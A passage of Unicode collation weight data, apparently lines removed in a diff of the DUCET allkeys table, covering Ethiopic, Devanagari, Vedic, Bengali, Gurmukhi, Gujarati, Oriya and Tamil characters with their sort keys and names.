-2DD8  ; [.25C7.0020.0002] # ETHIOPIC SYLLABLE GYA
-2DD9  ; [.25C8.0020.0002] # ETHIOPIC SYLLABLE GYU
-2DDA  ; [.25C9.0020.0002] # ETHIOPIC SYLLABLE GYI
-2DDB  ; [.25CA.0020.0002] # ETHIOPIC SYLLABLE GYAA
-2DDC  ; [.25CB.0020.0002] # ETHIOPIC SYLLABLE GYEE
-2DDD  ; [.25CC.0020.0002] # ETHIOPIC SYLLABLE GYE
-2DDE  ; [.25CD.0020.0002] # ETHIOPIC SYLLABLE GYO
-0950  ; [.25CE.0020.0002] # DEVANAGARI OM
-A8FD  ; [.25CF.0020.0002] # DEVANAGARI JAIN OM
-0972  ; [.25D0.0020.0002] # DEVANAGARI LETTER CANDRA A
-0904  ; [.25D1.0020.0002] # DEVANAGARI LETTER SHORT A
-0905  ; [.25D2.0020.0002] # DEVANAGARI LETTER A
-0906  ; [.25D3.0020.0002] # DEVANAGARI LETTER AA
-0973  ; [.25D4.0020.0002] # DEVANAGARI LETTER OE
-0974  ; [.25D5.0020.0002] # DEVANAGARI LETTER OOE
-0975  ; [.25D6.0020.0002] # DEVANAGARI LETTER AW
-0976  ; [.25D7.0020.0002] # DEVANAGARI LETTER UE
-0977  ; [.25D8.0020.0002] # DEVANAGARI LETTER UUE
-0907  ; [.25D9.0020.0002] # DEVANAGARI LETTER I
-0908  ; [.25DA.0020.0002] # DEVANAGARI LETTER II
-0909  ; [.25DB.0020.0002] # DEVANAGARI LETTER U
-090A  ; [.25DC.0020.0002] # DEVANAGARI LETTER UU
-090B  ; [.25DD.0020.0002] # DEVANAGARI LETTER VOCALIC R
-0960  ; [.25DE.0020.0002] # DEVANAGARI LETTER VOCALIC RR
-090C  ; [.25DF.0020.0002] # DEVANAGARI LETTER VOCALIC L
-0961  ; [.25E0.0020.0002] # DEVANAGARI LETTER VOCALIC LL
-090D  ; [.25E1.0020.0002] # DEVANAGARI LETTER CANDRA E
-090E  ; [.25E2.0020.0002] # DEVANAGARI LETTER SHORT E
-090F  ; [.25E3.0020.0002] # DEVANAGARI LETTER E
-0910  ; [.25E4.0020.0002] # DEVANAGARI LETTER AI
-0911  ; [.25E5.0020.0002] # DEVANAGARI LETTER CANDRA O
-0912  ; [.25E6.0020.0002] # DEVANAGARI LETTER SHORT O
-0913  ; [.25E7.0020.0002] # DEVANAGARI LETTER O
-0914  ; [.25E8.0020.0002] # DEVANAGARI LETTER AU
-0915  ; [.25E9.0020.0002] # DEVANAGARI LETTER KA
-0958  ; [.25E9.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER QA
-0916  ; [.25EA.0020.0002] # DEVANAGARI LETTER KHA
-0959  ; [.25EA.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER KHHA
-0917  ; [.25EB.0020.0002] # DEVANAGARI LETTER GA
-095A  ; [.25EB.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER GHHA
-097B  ; [.25EC.0020.0002] # DEVANAGARI LETTER GGA
-0918  ; [.25ED.0020.0002] # DEVANAGARI LETTER GHA
-0919  ; [.25EE.0020.0002] # DEVANAGARI LETTER NGA
-091A  ; [.25EF.0020.0002] # DEVANAGARI LETTER CA
-091B  ; [.25F0.0020.0002] # DEVANAGARI LETTER CHA
-091C  ; [.25F1.0020.0002] # DEVANAGARI LETTER JA
-095B  ; [.25F1.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER ZA
-0979  ; [.25F2.0020.0002] # DEVANAGARI LETTER ZHA
-097C  ; [.25F3.0020.0002] # DEVANAGARI LETTER JJA
-091D  ; [.25F4.0020.0002] # DEVANAGARI LETTER JHA
-091E  ; [.25F5.0020.0002] # DEVANAGARI LETTER NYA
-091F  ; [.25F6.0020.0002] # DEVANAGARI LETTER TTA
-0920  ; [.25F7.0020.0002] # DEVANAGARI LETTER TTHA
-0978  ; [.25F8.0020.0002] # DEVANAGARI LETTER MARWARI DDA
-0921  ; [.25F9.0020.0002] # DEVANAGARI LETTER DDA
-095C  ; [.25F9.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER DDDHA
-097E  ; [.25FA.0020.0002] # DEVANAGARI LETTER DDDA
-0922  ; [.25FB.0020.0002] # DEVANAGARI LETTER DDHA
-095D  ; [.25FB.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER RHA
-0923  ; [.25FC.0020.0002] # DEVANAGARI LETTER NNA
-0924  ; [.25FD.0020.0002] # DEVANAGARI LETTER TA
-0925  ; [.25FE.0020.0002] # DEVANAGARI LETTER THA
-0926  ; [.25FF.0020.0002] # DEVANAGARI LETTER DA
-0927  ; [.2600.0020.0002] # DEVANAGARI LETTER DHA
-0928  ; [.2601.0020.0002] # DEVANAGARI LETTER NA
-0929  ; [.2601.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER NNNA
-092A  ; [.2602.0020.0002] # DEVANAGARI LETTER PA
-092B  ; [.2603.0020.0002] # DEVANAGARI LETTER PHA
-095E  ; [.2603.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER FA
-092C  ; [.2604.0020.0002] # DEVANAGARI LETTER BA
-097F  ; [.2605.0020.0002] # DEVANAGARI LETTER BBA
-092D  ; [.2606.0020.0002] # DEVANAGARI LETTER BHA
-092E  ; [.2607.0020.0002] # DEVANAGARI LETTER MA
-092F  ; [.2608.0020.0002] # DEVANAGARI LETTER YA
-095F  ; [.2608.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER YYA
-097A  ; [.2609.0020.0002] # DEVANAGARI LETTER HEAVY YA
-0930  ; [.260A.0020.0002] # DEVANAGARI LETTER RA
-0931  ; [.260A.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER RRA
-0932  ; [.260B.0020.0002] # DEVANAGARI LETTER LA
-0933  ; [.260C.0020.0002] # DEVANAGARI LETTER LLA
-0934  ; [.260C.0020.0002][.0000.00BD.0002] # DEVANAGARI LETTER LLLA
-0935  ; [.260D.0020.0002] # DEVANAGARI LETTER VA
-0936  ; [.260E.0020.0002] # DEVANAGARI LETTER SHA
-0937  ; [.260F.0020.0002] # DEVANAGARI LETTER SSA
-0938  ; [.2610.0020.0002] # DEVANAGARI LETTER SA
-0939  ; [.2611.0020.0002] # DEVANAGARI LETTER HA
-093D  ; [.2612.0020.0002] # DEVANAGARI SIGN AVAGRAHA
-097D  ; [.2613.0020.0002] # DEVANAGARI LETTER GLOTTAL STOP
-1CE9  ; [.2614.0020.0002] # VEDIC SIGN ANUSVARA ANTARGOMUKHA
-1CEA  ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA BAHIRGOMUKHA
-1CEB  ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA
-1CEC  ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL
-1CEE  ; [.2614.0020.0004] # VEDIC SIGN HEXIFORM LONG ANUSVARA
-1CEF  ; [.2614.0020.0004] # VEDIC SIGN LONG ANUSVARA
-1CF0  ; [.2614.0020.0004] # VEDIC SIGN RTHANG LONG ANUSVARA
-1CF1  ; [.2614.0020.0004] # VEDIC SIGN ANUSVARA UBHAYATO MUKHA
-1CF5  ; [.2615.0020.0002] # VEDIC SIGN JIHVAMULIYA
-1CF6  ; [.2616.0020.0002] # VEDIC SIGN UPADHMANIYA
-A8F2  ; [.2617.0020.0002] # DEVANAGARI SIGN SPACING CANDRABINDU
-A8F3  ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU VIRAMA
-A8F4  ; [.2617.0020.0004] # DEVANAGARI SIGN DOUBLE CANDRABINDU VIRAMA
-A8F5  ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU TWO
-A8F6  ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU THREE
-A8F7  ; [.2617.0020.0004] # DEVANAGARI SIGN CANDRABINDU AVAGRAHA
-A8FB  ; [.2618.0020.0002] # DEVANAGARI HEADSTROKE
-093E  ; [.2619.0020.0002] # DEVANAGARI VOWEL SIGN AA
-093A  ; [.261A.0020.0002] # DEVANAGARI VOWEL SIGN OE
-093B  ; [.261B.0020.0002] # DEVANAGARI VOWEL SIGN OOE
-094F  ; [.261C.0020.0002] # DEVANAGARI VOWEL SIGN AW
-0956  ; [.261D.0020.0002] # DEVANAGARI VOWEL SIGN UE
-0957  ; [.261E.0020.0002] # DEVANAGARI VOWEL SIGN UUE
-093F  ; [.261F.0020.0002] # DEVANAGARI VOWEL SIGN I
-0940  ; [.2620.0020.0002] # DEVANAGARI VOWEL SIGN II
-0941  ; [.2621.0020.0002] # DEVANAGARI VOWEL SIGN U
-0942  ; [.2622.0020.0002] # DEVANAGARI VOWEL SIGN UU
-0943  ; [.2623.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC R
-0944  ; [.2624.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC RR
-0962  ; [.2625.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC L
-0963  ; [.2626.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC LL
-0945  ; [.2627.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA E
-0955  ; [.2628.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA LONG E
-0946  ; [.2629.0020.0002] # DEVANAGARI VOWEL SIGN SHORT E
-0947  ; [.262A.0020.0002] # DEVANAGARI VOWEL SIGN E
-094E  ; [.262B.0020.0002] # DEVANAGARI VOWEL SIGN PRISHTHAMATRA E
-0948  ; [.262C.0020.0002] # DEVANAGARI VOWEL SIGN AI
-0949  ; [.262D.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA O
-094A  ; [.262E.0020.0002] # DEVANAGARI VOWEL SIGN SHORT O
-094B  ; [.262F.0020.0002] # DEVANAGARI VOWEL SIGN O
-094C  ; [.2630.0020.0002] # DEVANAGARI VOWEL SIGN AU
-094D  ; [.2631.0020.0002] # DEVANAGARI SIGN VIRAMA
-0980  ; [.2632.0020.0002] # BENGALI ANJI
-0985  ; [.2633.0020.0002] # BENGALI LETTER A
-0986  ; [.2634.0020.0002] # BENGALI LETTER AA
-0987  ; [.2635.0020.0002] # BENGALI LETTER I
-0988  ; [.2636.0020.0002] # BENGALI LETTER II
-0989  ; [.2637.0020.0002] # BENGALI LETTER U
-098A  ; [.2638.0020.0002] # BENGALI LETTER UU
-098B  ; [.2639.0020.0002] # BENGALI LETTER VOCALIC R
-09E0  ; [.263A.0020.0002] # BENGALI LETTER VOCALIC RR
-098C  ; [.263B.0020.0002] # BENGALI LETTER VOCALIC L
-09E1  ; [.263C.0020.0002] # BENGALI LETTER VOCALIC LL
-098F  ; [.263D.0020.0002] # BENGALI LETTER E
-0990  ; [.263E.0020.0002] # BENGALI LETTER AI
-0993  ; [.263F.0020.0002] # BENGALI LETTER O
-0994  ; [.2640.0020.0002] # BENGALI LETTER AU
-0995  ; [.2641.0020.0002] # BENGALI LETTER KA
-0996  ; [.2642.0020.0002] # BENGALI LETTER KHA
-0997  ; [.2643.0020.0002] # BENGALI LETTER GA
-0998  ; [.2644.0020.0002] # BENGALI LETTER GHA
-0999  ; [.2645.0020.0002] # BENGALI LETTER NGA
-099A  ; [.2646.0020.0002] # BENGALI LETTER CA
-099B  ; [.2647.0020.0002] # BENGALI LETTER CHA
-099C  ; [.2648.0020.0002] # BENGALI LETTER JA
-099D  ; [.2649.0020.0002] # BENGALI LETTER JHA
-099E  ; [.264A.0020.0002] # BENGALI LETTER NYA
-099F  ; [.264B.0020.0002] # BENGALI LETTER TTA
-09A0  ; [.264C.0020.0002] # BENGALI LETTER TTHA
-09A1  ; [.264D.0020.0002] # BENGALI LETTER DDA
-09DC  ; [.264D.0020.0002][.0000.00BD.0002] # BENGALI LETTER RRA
-09A2  ; [.264E.0020.0002] # BENGALI LETTER DDHA
-09DD  ; [.264E.0020.0002][.0000.00BD.0002] # BENGALI LETTER RHA
-09A3  ; [.264F.0020.0002] # BENGALI LETTER NNA
-09A4  ; [.2650.0020.0002] # BENGALI LETTER TA
-09CE  ; [.2650.0020.0004][.2671.0020.0004] # BENGALI LETTER KHANDA TA
-09A5  ; [.2651.0020.0002] # BENGALI LETTER THA
-09A6  ; [.2652.0020.0002] # BENGALI LETTER DA
-09A7  ; [.2653.0020.0002] # BENGALI LETTER DHA
-09A8  ; [.2654.0020.0002] # BENGALI LETTER NA
-09AA  ; [.2655.0020.0002] # BENGALI LETTER PA
-09AB  ; [.2656.0020.0002] # BENGALI LETTER PHA
-09AC  ; [.2657.0020.0002] # BENGALI LETTER BA
-09AD  ; [.2658.0020.0002] # BENGALI LETTER BHA
-09AE  ; [.2659.0020.0002] # BENGALI LETTER MA
-09AF  ; [.265A.0020.0002] # BENGALI LETTER YA
-09DF  ; [.265A.0020.0002][.0000.00BD.0002] # BENGALI LETTER YYA
-09B0  ; [.265B.0020.0002] # BENGALI LETTER RA
-09F0  ; [.265C.0020.0002] # BENGALI LETTER RA WITH MIDDLE DIAGONAL
-09B2  ; [.265D.0020.0002] # BENGALI LETTER LA
-09F1  ; [.265E.0020.0002] # BENGALI LETTER RA WITH LOWER DIAGONAL
-09B6  ; [.265F.0020.0002] # BENGALI LETTER SHA
-09B7  ; [.2660.0020.0002] # BENGALI LETTER SSA
-09B8  ; [.2661.0020.0002] # BENGALI LETTER SA
-09B9  ; [.2662.0020.0002] # BENGALI LETTER HA
-09BD  ; [.2663.0020.0002] # BENGALI SIGN AVAGRAHA
-09BE  ; [.2664.0020.0002] # BENGALI VOWEL SIGN AA
-09BF  ; [.2665.0020.0002] # BENGALI VOWEL SIGN I
-09C0  ; [.2666.0020.0002] # BENGALI VOWEL SIGN II
-09C1  ; [.2667.0020.0002] # BENGALI VOWEL SIGN U
-09C2  ; [.2668.0020.0002] # BENGALI VOWEL SIGN UU
-09C3  ; [.2669.0020.0002] # BENGALI VOWEL SIGN VOCALIC R
-09C4  ; [.266A.0020.0002] # BENGALI VOWEL SIGN VOCALIC RR
-09E2  ; [.266B.0020.0002] # BENGALI VOWEL SIGN VOCALIC L
-09E3  ; [.266C.0020.0002] # BENGALI VOWEL SIGN VOCALIC LL
-09C7  ; [.266D.0020.0002] # BENGALI VOWEL SIGN E
-09C8  ; [.266E.0020.0002] # BENGALI VOWEL SIGN AI
-09CB  ; [.266F.0020.0002] # BENGALI VOWEL SIGN O
-09C7 09BE ; [.266F.0020.0002] # BENGALI VOWEL SIGN O
-09CC  ; [.2670.0020.0002] # BENGALI VOWEL SIGN AU
-09C7 09D7 ; [.2670.0020.0002] # BENGALI VOWEL SIGN AU
-09CD  ; [.2671.0020.0002] # BENGALI SIGN VIRAMA
-09D7  ; [.2672.0020.0002] # BENGALI AU LENGTH MARK
-0A74  ; [.2673.0020.0002] # GURMUKHI EK ONKAR
-0A73  ; [.2674.0020.0002] # GURMUKHI URA
-0A09  ; [.2675.0020.0002] # GURMUKHI LETTER U
-0A0A  ; [.2676.0020.0002] # GURMUKHI LETTER UU
-0A13  ; [.2677.0020.0002] # GURMUKHI LETTER OO
-0A05  ; [.2678.0020.0002] # GURMUKHI LETTER A
-0A06  ; [.2679.0020.0002] # GURMUKHI LETTER AA
-0A10  ; [.267A.0020.0002] # GURMUKHI LETTER AI
-0A14  ; [.267B.0020.0002] # GURMUKHI LETTER AU
-0A72  ; [.267C.0020.0002] # GURMUKHI IRI
-0A07  ; [.267D.0020.0002] # GURMUKHI LETTER I
-0A08  ; [.267E.0020.0002] # GURMUKHI LETTER II
-0A0F  ; [.267F.0020.0002] # GURMUKHI LETTER EE
-0A38  ; [.2680.0020.0002] # GURMUKHI LETTER SA
-0A36  ; [.2680.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER SHA
-0A39  ; [.2681.0020.0002] # GURMUKHI LETTER HA
-0A51  ; [.2682.0020.0002] # GURMUKHI SIGN UDAAT
-0A15  ; [.2683.0020.0002] # GURMUKHI LETTER KA
-0A16  ; [.2684.0020.0002] # GURMUKHI LETTER KHA
-0A59  ; [.2684.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER KHHA
-0A17  ; [.2685.0020.0002] # GURMUKHI LETTER GA
-0A5A  ; [.2685.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER GHHA
-0A18  ; [.2686.0020.0002] # GURMUKHI LETTER GHA
-0A19  ; [.2687.0020.0002] # GURMUKHI LETTER NGA
-0A1A  ; [.2688.0020.0002] # GURMUKHI LETTER CA
-0A1B  ; [.2689.0020.0002] # GURMUKHI LETTER CHA
-0A1C  ; [.268A.0020.0002] # GURMUKHI LETTER JA
-0A5B  ; [.268A.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER ZA
-0A1D  ; [.268B.0020.0002] # GURMUKHI LETTER JHA
-0A1E  ; [.268C.0020.0002] # GURMUKHI LETTER NYA
-0A1F  ; [.268D.0020.0002] # GURMUKHI LETTER TTA
-0A20  ; [.268E.0020.0002] # GURMUKHI LETTER TTHA
-0A21  ; [.268F.0020.0002] # GURMUKHI LETTER DDA
-0A22  ; [.2690.0020.0002] # GURMUKHI LETTER DDHA
-0A23  ; [.2691.0020.0002] # GURMUKHI LETTER NNA
-0A24  ; [.2692.0020.0002] # GURMUKHI LETTER TA
-0A25  ; [.2693.0020.0002] # GURMUKHI LETTER THA
-0A26  ; [.2694.0020.0002] # GURMUKHI LETTER DA
-0A27  ; [.2695.0020.0002] # GURMUKHI LETTER DHA
-0A28  ; [.2696.0020.0002] # GURMUKHI LETTER NA
-0A2A  ; [.2697.0020.0002] # GURMUKHI LETTER PA
-0A2B  ; [.2698.0020.0002] # GURMUKHI LETTER PHA
-0A5E  ; [.2698.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER FA
-0A2C  ; [.2699.0020.0002] # GURMUKHI LETTER BA
-0A2D  ; [.269A.0020.0002] # GURMUKHI LETTER BHA
-0A2E  ; [.269B.0020.0002] # GURMUKHI LETTER MA
-0A2F  ; [.269C.0020.0002] # GURMUKHI LETTER YA
-0A75  ; [.269D.0020.0002] # GURMUKHI SIGN YAKASH
-0A30  ; [.269E.0020.0002] # GURMUKHI LETTER RA
-0A32  ; [.269F.0020.0002] # GURMUKHI LETTER LA
-0A33  ; [.269F.0020.0002][.0000.00BD.0002] # GURMUKHI LETTER LLA
-0A35  ; [.26A0.0020.0002] # GURMUKHI LETTER VA
-0A5C  ; [.26A1.0020.0002] # GURMUKHI LETTER RRA
-0A3E  ; [.26A2.0020.0002] # GURMUKHI VOWEL SIGN AA
-0A3F  ; [.26A3.0020.0002] # GURMUKHI VOWEL SIGN I
-0A40  ; [.26A4.0020.0002] # GURMUKHI VOWEL SIGN II
-0A41  ; [.26A5.0020.0002] # GURMUKHI VOWEL SIGN U
-0A42  ; [.26A6.0020.0002] # GURMUKHI VOWEL SIGN UU
-0A47  ; [.26A7.0020.0002] # GURMUKHI VOWEL SIGN EE
-0A48  ; [.26A8.0020.0002] # GURMUKHI VOWEL SIGN AI
-0A4B  ; [.26A9.0020.0002] # GURMUKHI VOWEL SIGN OO
-0A4C  ; [.26AA.0020.0002] # GURMUKHI VOWEL SIGN AU
-0A4D  ; [.26AB.0020.0002] # GURMUKHI SIGN VIRAMA
-0AD0  ; [.26AC.0020.0002] # GUJARATI OM
-0A85  ; [.26AD.0020.0002] # GUJARATI LETTER A
-0A86  ; [.26AE.0020.0002] # GUJARATI LETTER AA
-0A87  ; [.26AF.0020.0002] # GUJARATI LETTER I
-0A88  ; [.26B0.0020.0002] # GUJARATI LETTER II
-0A89  ; [.26B1.0020.0002] # GUJARATI LETTER U
-0A8A  ; [.26B2.0020.0002] # GUJARATI LETTER UU
-0A8B  ; [.26B3.0020.0002] # GUJARATI LETTER VOCALIC R
-0AE0  ; [.26B4.0020.0002] # GUJARATI LETTER VOCALIC RR
-0A8C  ; [.26B5.0020.0002] # GUJARATI LETTER VOCALIC L
-0AE1  ; [.26B6.0020.0002] # GUJARATI LETTER VOCALIC LL
-0A8D  ; [.26B7.0020.0002] # GUJARATI VOWEL CANDRA E
-0A8F  ; [.26B8.0020.0002] # GUJARATI LETTER E
-0A90  ; [.26B9.0020.0002] # GUJARATI LETTER AI
-0A91  ; [.26BA.0020.0002] # GUJARATI VOWEL CANDRA O
-0A93  ; [.26BB.0020.0002] # GUJARATI LETTER O
-0A94  ; [.26BC.0020.0002] # GUJARATI LETTER AU
-0A95  ; [.26BD.0020.0002] # GUJARATI LETTER KA
-0A96  ; [.26BE.0020.0002] # GUJARATI LETTER KHA
-0A97  ; [.26BF.0020.0002] # GUJARATI LETTER GA
-0A98  ; [.26C0.0020.0002] # GUJARATI LETTER GHA
-0A99  ; [.26C1.0020.0002] # GUJARATI LETTER NGA
-0A9A  ; [.26C2.0020.0002] # GUJARATI LETTER CA
-0A9B  ; [.26C3.0020.0002] # GUJARATI LETTER CHA
-0A9C  ; [.26C4.0020.0002] # GUJARATI LETTER JA
-0AF9  ; [.26C5.0020.0002] # GUJARATI LETTER ZHA
-0A9D  ; [.26C6.0020.0002] # GUJARATI LETTER JHA
-0A9E  ; [.26C7.0020.0002] # GUJARATI LETTER NYA
-0A9F  ; [.26C8.0020.0002] # GUJARATI LETTER TTA
-0AA0  ; [.26C9.0020.0002] # GUJARATI LETTER TTHA
-0AA1  ; [.26CA.0020.0002] # GUJARATI LETTER DDA
-0AA2  ; [.26CB.0020.0002] # GUJARATI LETTER DDHA
-0AA3  ; [.26CC.0020.0002] # GUJARATI LETTER NNA
-0AA4  ; [.26CD.0020.0002] # GUJARATI LETTER TA
-0AA5  ; [.26CE.0020.0002] # GUJARATI LETTER THA
-0AA6  ; [.26CF.0020.0002] # GUJARATI LETTER DA
-0AA7  ; [.26D0.0020.0002] # GUJARATI LETTER DHA
-0AA8  ; [.26D1.0020.0002] # GUJARATI LETTER NA
-0AAA  ; [.26D2.0020.0002] # GUJARATI LETTER PA
-0AAB  ; [.26D3.0020.0002] # GUJARATI LETTER PHA
-0AAC  ; [.26D4.0020.0002] # GUJARATI LETTER BA
-0AAD  ; [.26D5.0020.0002] # GUJARATI LETTER BHA
-0AAE  ; [.26D6.0020.0002] # GUJARATI LETTER MA
-0AAF  ; [.26D7.0020.0002] # GUJARATI LETTER YA
-0AB0  ; [.26D8.0020.0002] # GUJARATI LETTER RA
-0AB2  ; [.26D9.0020.0002] # GUJARATI LETTER LA
-0AB5  ; [.26DA.0020.0002] # GUJARATI LETTER VA
-0AB6  ; [.26DB.0020.0002] # GUJARATI LETTER SHA
-0AB7  ; [.26DC.0020.0002] # GUJARATI LETTER SSA
-0AB8  ; [.26DD.0020.0002] # GUJARATI LETTER SA
-0AB9  ; [.26DE.0020.0002] # GUJARATI LETTER HA
-0AB3  ; [.26DF.0020.0002] # GUJARATI LETTER LLA
-0ABD  ; [.26E0.0020.0002] # GUJARATI SIGN AVAGRAHA
-0ABE  ; [.26E1.0020.0002] # GUJARATI VOWEL SIGN AA
-0ABF  ; [.26E2.0020.0002] # GUJARATI VOWEL SIGN I
-0AC0  ; [.26E3.0020.0002] # GUJARATI VOWEL SIGN II
-0AC1  ; [.26E4.0020.0002] # GUJARATI VOWEL SIGN U
-0AC2  ; [.26E5.0020.0002] # GUJARATI VOWEL SIGN UU
-0AC3  ; [.26E6.0020.0002] # GUJARATI VOWEL SIGN VOCALIC R
-0AC4  ; [.26E7.0020.0002] # GUJARATI VOWEL SIGN VOCALIC RR
-0AE2  ; [.26E8.0020.0002] # GUJARATI VOWEL SIGN VOCALIC L
-0AE3  ; [.26E9.0020.0002] # GUJARATI VOWEL SIGN VOCALIC LL
-0AC5  ; [.26EA.0020.0002] # GUJARATI VOWEL SIGN CANDRA E
-0AC7  ; [.26EB.0020.0002] # GUJARATI VOWEL SIGN E
-0AC8  ; [.26EC.0020.0002] # GUJARATI VOWEL SIGN AI
-0AC9  ; [.26ED.0020.0002] # GUJARATI VOWEL SIGN CANDRA O
-0ACB  ; [.26EE.0020.0002] # GUJARATI VOWEL SIGN O
-0ACC  ; [.26EF.0020.0002] # GUJARATI VOWEL SIGN AU
-0ACD  ; [.26F0.0020.0002] # GUJARATI SIGN VIRAMA
-0B05  ; [.26F1.0020.0002] # ORIYA LETTER A
-0B06  ; [.26F2.0020.0002] # ORIYA LETTER AA
-0B07  ; [.26F3.0020.0002] # ORIYA LETTER I
-0B08  ; [.26F4.0020.0002] # ORIYA LETTER II
-0B09  ; [.26F5.0020.0002] # ORIYA LETTER U
-0B0A  ; [.26F6.0020.0002] # ORIYA LETTER UU
-0B0B  ; [.26F7.0020.0002] # ORIYA LETTER VOCALIC R
-0B60  ; [.26F8.0020.0002] # ORIYA LETTER VOCALIC RR
-0B0C  ; [.26F9.0020.0002] # ORIYA LETTER VOCALIC L
-0B61  ; [.26FA.0020.0002] # ORIYA LETTER VOCALIC LL
-0B0F  ; [.26FB.0020.0002] # ORIYA LETTER E
-0B10  ; [.26FC.0020.0002] # ORIYA LETTER AI
-0B13  ; [.26FD.0020.0002] # ORIYA LETTER O
-0B14  ; [.26FE.0020.0002] # ORIYA LETTER AU
-0B15  ; [.26FF.0020.0002] # ORIYA LETTER KA
-0B16  ; [.2700.0020.0002] # ORIYA LETTER KHA
-0B17  ; [.2701.0020.0002] # ORIYA LETTER GA
-0B18  ; [.2702.0020.0002] # ORIYA LETTER GHA
-0B19  ; [.2703.0020.0002] # ORIYA LETTER NGA
-0B1A  ; [.2704.0020.0002] # ORIYA LETTER CA
-0B1B  ; [.2705.0020.0002] # ORIYA LETTER CHA
-0B1C  ; [.2706.0020.0002] # ORIYA LETTER JA
-0B1D  ; [.2707.0020.0002] # ORIYA LETTER JHA
-0B1E  ; [.2708.0020.0002] # ORIYA LETTER NYA
-0B1F  ; [.2709.0020.0002] # ORIYA LETTER TTA
-0B20  ; [.270A.0020.0002] # ORIYA LETTER TTHA
-0B21  ; [.270B.0020.0002] # ORIYA LETTER DDA
-0B5C  ; [.270B.0020.0002][.0000.00BD.0002] # ORIYA LETTER RRA
-0B22  ; [.270C.0020.0002] # ORIYA LETTER DDHA
-0B5D  ; [.270C.0020.0002][.0000.00BD.0002] # ORIYA LETTER RHA
-0B23  ; [.270D.0020.0002] # ORIYA LETTER NNA
-0B24  ; [.270E.0020.0002] # ORIYA LETTER TA
-0B25  ; [.270F.0020.0002] # ORIYA LETTER THA
-0B26  ; [.2710.0020.0002] # ORIYA LETTER DA
-0B27  ; [.2711.0020.0002] # ORIYA LETTER DHA
-0B28  ; [.2712.0020.0002] # ORIYA LETTER NA
-0B2A  ; [.2713.0020.0002] # ORIYA LETTER PA
-0B2B  ; [.2714.0020.0002] # ORIYA LETTER PHA
-0B2C  ; [.2715.0020.0002] # ORIYA LETTER BA
-0B2D  ; [.2716.0020.0002] # ORIYA LETTER BHA
-0B2E  ; [.2717.0020.0002] # ORIYA LETTER MA
-0B2F  ; [.2718.0020.0002] # ORIYA LETTER YA
-0B5F  ; [.2719.0020.0002] # ORIYA LETTER YYA
-0B30  ; [.271A.0020.0002] # ORIYA LETTER RA
-0B32  ; [.271B.0020.0002] # ORIYA LETTER LA
-0B33  ; [.271C.0020.0002] # ORIYA LETTER LLA
-0B35  ; [.271D.0020.0002] # ORIYA LETTER VA
-0B71  ; [.271E.0020.0002] # ORIYA LETTER WA
-0B36  ; [.271F.0020.0002] # ORIYA LETTER SHA
-0B37  ; [.2720.0020.0002] # ORIYA LETTER SSA
-0B38  ; [.2721.0020.0002] # ORIYA LETTER SA
-0B39  ; [.2722.0020.0002] # ORIYA LETTER HA
-0B3D  ; [.2723.0020.0002] # ORIYA SIGN AVAGRAHA
-0B3E  ; [.2724.0020.0002] # ORIYA VOWEL SIGN AA
-0B3F  ; [.2725.0020.0002] # ORIYA VOWEL SIGN I
-0B40  ; [.2726.0020.0002] # ORIYA VOWEL SIGN II
-0B41  ; [.2727.0020.0002] # ORIYA VOWEL SIGN U
-0B42  ; [.2728.0020.0002] # ORIYA VOWEL SIGN UU
-0B43  ; [.2729.0020.0002] # ORIYA VOWEL SIGN VOCALIC R
-0B44  ; [.272A.0020.0002] # ORIYA VOWEL SIGN VOCALIC RR
-0B62  ; [.272B.0020.0002] # ORIYA VOWEL SIGN VOCALIC L
-0B63  ; [.272C.0020.0002] # ORIYA VOWEL SIGN VOCALIC LL
-0B47  ; [.272D.0020.0002] # ORIYA VOWEL SIGN E
-0B48  ; [.272E.0020.0002] # ORIYA VOWEL SIGN AI
-0B47 0B56 ; [.272E.0020.0002] # ORIYA VOWEL SIGN AI
-0B4B  ; [.272F.0020.0002] # ORIYA VOWEL SIGN O
-0B47 0B3E ; [.272F.0020.0002] # ORIYA VOWEL SIGN O
-0B4C  ; [.2730.0020.0002] # ORIYA VOWEL SIGN AU
-0B47 0B57 ; [.2730.0020.0002] # ORIYA VOWEL SIGN AU
-0B4D  ; [.2731.0020.0002] # ORIYA SIGN VIRAMA
-0B56  ; [.2732.0020.0002] # ORIYA AI LENGTH MARK
-0B57  ; [.2733.0020.0002] # ORIYA AU LENGTH MARK
-0BD0  ; [.2734.0020.0002] # TAMIL OM
-0B85  ; [.2735.0020.0002] # TAMIL LETTER A
-0B86  ; [.2736.0020.0002] # TAMIL LETTER AA
-0B87  ; [.2737.0020.0002] # TAMIL LETTER I
-0B88  ; [.2738.0020.0002] # TAMIL LETTER II
-0B89  ; [.2739.0020.0002] # TAMIL LETTER U
-0B8A  ; [.273A.0020.0002] # TAMIL LETTER UU
-0B8E  ; [.273B.0020.0002] # TAMIL LETTER E
-0B8F  ; [.273C.0020.0002] # TAMIL LETTER EE
-0B90  ; [.273D.0020.0002] # TAMIL LETTER AI
-0B92  ; [.273E.0020.0002] # TAMIL LETTER O
-0B93  ; [.273F.0020.0002] # TAMIL LETTER OO
